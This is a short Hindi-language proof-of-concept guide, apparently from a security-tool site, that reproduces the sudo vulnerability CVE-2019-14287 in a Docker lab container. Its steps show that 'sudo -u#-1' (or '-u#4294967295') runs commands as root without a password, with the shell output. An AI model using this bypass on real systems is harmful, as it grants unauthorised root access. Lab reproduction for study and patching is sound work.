CVE-2019-14287 का PoC

अवलोकन

यह sudo की भेद्यता (CVE-2019-14287) को Docker कंटेनर पर पुनरुत्पादित करने वाला एक नमूना है।

अभ्यास के चरण

1. docker compose up -d से कंटेनर शुरू करें
2. docker exec -it vulnerable_sudo_app bash से कंटेनर में प्रवेश करें
3. whoami और id कमांड चलाकर पुष्टि करें कि आप एक सामान्य उपयोगकर्ता हैं (root नहीं)
   root@kitploit:~

   $ whoami
   user1
   $ id
   uid=1000(user1) gid=1000(user1) groups=1000(user1)
   $ id -u
   1000
   

4. पुष्टि करें कि sudo -u#0 whoami और sudo -u#0 id -u निष्पादित नहीं किए जा सकते
   • uid (-u विकल्प) के रूप में 0 (root) निर्दिष्ट करके निष्पादित करें
   • पासवर्ड माँगा जाता है, लेकिन पासवर्ड पता नहीं है, इसलिए निष्पादित नहीं किया जा सकता
   root@kitploit:~

   $ sudo -u#0 whoami
   [sudo] password for user1:
   $ sudo -u#0 id
   [sudo] password for user1:
   $ sudo -u#0 id -u
   [sudo] password for user1:
   

5. sudo -u#-1 whoami और sudo -u#-1 id -u चलाकर पुष्टि करें कि बिना प्रमाणीकरण के root के रूप में कमांड निष्पादित किए जा सकते हैं (भेद्यता का पुनरुत्पादन)
   • -u#4294967295 के साथ भी ऐसा ही किया जा सकता है
   root@kitploit:~

   $ sudo -u#-1 whoami
   root
   $ sudo -u#-1 id
   uid=0(root) gid=1000(user1) groups=1000(user1)
   $ sudo -u#-1 id -u
   0
   

संदर्भ

• CVE - CVE-2019-14287
• Potential bypass of Runas user restrictions | Sudo
• sudo की भेद्यता (CVE-2019-14287) के बारे में सारांश - Qiita